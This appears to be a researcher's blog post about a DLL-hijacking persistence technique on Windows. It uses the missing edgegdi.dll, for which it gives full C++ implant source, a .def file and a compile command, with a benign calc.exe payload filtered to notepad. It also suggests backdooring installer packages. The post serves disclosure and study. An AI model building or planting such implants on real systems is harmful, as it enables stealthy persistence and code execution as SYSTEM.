Overview

There’s a .dll which just about every process on my Windows machine is interested in called edgegdi.dll.

edgegdi.dll.png

Unfortunately, the dll: edgegdi.dll isn’t there (or anywhere on the system).

You’ll see the status (NAME NOT FOUND) in any procmon trace you look at which makes it interesting for persistence at the very least.

It’s also intriguing because it appears as though we’d have our pick of processes, many running as SYSTEM to load our own version of edgegdi!CheckIsEdgeGdiProcessOnce in given the procmon.exe output above.

I’ll admit that when i stumbled across this I thought for a moment that I’d found something useful but a quick search of twitter revealed that as usual i was very late to the party:

In any case, I’m surprised it hasn’t been buttoned up by the Redmond crew. This post captures my notes exploring the issue with the hope that it might help support the effort to get it resolved in the near future.

Whats the big deal?

This oversight allows an adversary to drop their own .dll in the c:\windows\system32 directory called edgegdi.dll.

The adversary .dll just needs to export the function CheckIsEdgeGdiProcessOnce.

The developer can implement whatever they like in dllmain or the exported function CheckIsEdgeGdiProcessOnce.

but!.. if they can do that they are an admin and could do pretty much whatever they like anyway

That’s true.

The reason this sucks a little more than that is the stealthy persistence we get with a dll we know all the processes are keen to load, yet don’t care if it’s not there.

It’s unlikely to cause any fuss right away if we take the initiative and implement this dll for Microsoft.

It also seems like it could become a sneaky back-door to an existing installer package. If an adversary group is able to add their version of edgegdi.dll to an otherwise safe installer package I don’t think many individuals (or desktop engineering teams) would look twice. It’s not going to stand out. From an end user perspective they’ve already consented to the install and blindly acknowledged the dialog letting them know that the process is bumping up it’s privilege level to get the install done. I think it’s fair to assume that most people don’t keep tabs on all the binaries added to their system during the installation of a package.

A good friend also pointed out that this could be a little horrible if your password manager is pulling in this .dll and executing code of an adversary’s choosing.

Example Implementation

First, we need a .def file. Lets call it edgegdi.def:

LIBRARY "EdgeGDI"
EXPORTS
  CheckIsEdgeGdiProcessOnce

Then, we build a edgegdi.cpp:

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    STARTUPINFO info={sizeof(info)};
    PROCESS_INFORMATION processInfo;

    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
        CreateProcess(
					"c:\\windows\\system32\\calc.exe", 
					"", NULL, NULL, TRUE, 0, NULL, NULL, 
					&info, &processInfo);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" {
	 __declspec(dllexport) BOOL WINAPI CheckIsEdgeGdiProcessOnce() {
		 return TRUE;
		}
}

We’ll simply pop calc.exe in this example via CreateProcess in the mandatory DllMain.

For the CheckIsEdgeGdiProcessOnce function, we’ll attempt to just return TRUE.

We compile with: cl.exe /W0 /D_USRDLL /D_WINDLL edgegdi.cpp edgegdi.def /MT /link /DLL /OUT:edgegdi.dll

(i save my compile commands in a batch file on advice from the clever buggers at SEKTOR7. Also cl.exe is part of Visual Studio community if you need it.)

compile.PNG

Now, we attempt to place the new .dll in c:\windows\system32:

edgegdi-installed

And… Bluescreen!.. then repair mode.

bsod

repair

Ooof! That was careless.

“Fixing”:

fix

Anyway, as i mentioned earlier, thankfully @matteomalvica had already done the work to make it possible to write our function with the same prototype as the ‘real’ missing one:

params ref: https://twitter.com/matteomalvica/status/1252533215232954373

Implementing the CheckIsEdgeGdiProcessOnce function with the three params the caller is expecting it to support:

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    STARTUPINFO info={sizeof(info)};
    PROCESS_INFORMATION processInfo;

    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
        CreateProcess(
					"c:\\windows\\system32\\calc.exe", 
					"", NULL, NULL, TRUE, 0, NULL, NULL, 
					&info, &processInfo);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" {
	 __declspec(dllexport) BOOL WINAPI CheckIsEdgeGdiProcessOnce(
						PINIT_ONCE InitOnce,
						PVOID Parameter,
						PVOID *Context) {
		 return TRUE;
		}
}

And, that should do it.

Once compiled and placed in the c:\windows\system32 directory our .dll is called by just about everything when started.

But here’s the rub…

Our new .dll which simply calls calc.exe is going to be called by everything.

Using notepad.exe as an example: I open notepad, it calls edgegdi.cpp!CheckIsEdgeGdiProcessOnce which then launches calc.exe, but calc.exe is also going to load edgegdi.dll and call calc.exe which is also going to call calc.exe… and so on.

fail

We’ve achieved the objective somewhat… it’s just a little horrible.

To complete the POC in a more stable (but no more elegant) way we’ll just filter to see if the process calling the .dll is notepad.exe.

We’re saying, “If it’s notepad, do the horrible thing, if it’s not please move along and enjoy the rest of your day”.

Something like this:

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    STARTUPINFO info={sizeof(info)};
    PROCESS_INFORMATION processInfo;

    int this_pid = _getpid();
    int notepad_pid = 0;

    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:       

        notepad_pid = FindTarget("notepad.exe");

        if (notepad_pid) 
        {
            if (notepad_pid == this_pid)
            {
                CreateProcess(
                    "c:\\windows\\system32\\calc.exe", 
                    "", NULL, NULL, TRUE, 0, NULL, NULL, 
                    &info, &processInfo);
            }
        }

    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Leveraging a FindTarget function (for notepad):

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}

With that in place:

done

It works as expected. Every time notepad is called, our implant dll (edgegdi.dll) is loaded into the process.

Wrapping Up

Final notes on this thing:

Most processes on Windows are calling CheckIsEdgeGdiProcessOnce from edgegdi.dll.

CheckIsEdgeGdiProcessOnce can be leveraged with the parameters:

CheckIsEdgeGdiProcessOnce(
	PINIT_ONCE InitOnce,
	PVOID Parameter,
	PVOID *Context)

edgegdi.dll doesn’t exist on current versions of Windows (2004, 19041.508) making it potentially attractive as a persistence approach.

This is a harmless example with with a calc.exe payload but it’s important to note that many of the processes loading this module will be SYSTEM level and we could have executed something much more interesting.


Windows wont tolerate the implementation as described here over a reboot, it’ll blue screen. No intention to talk about “fixing” that in this post.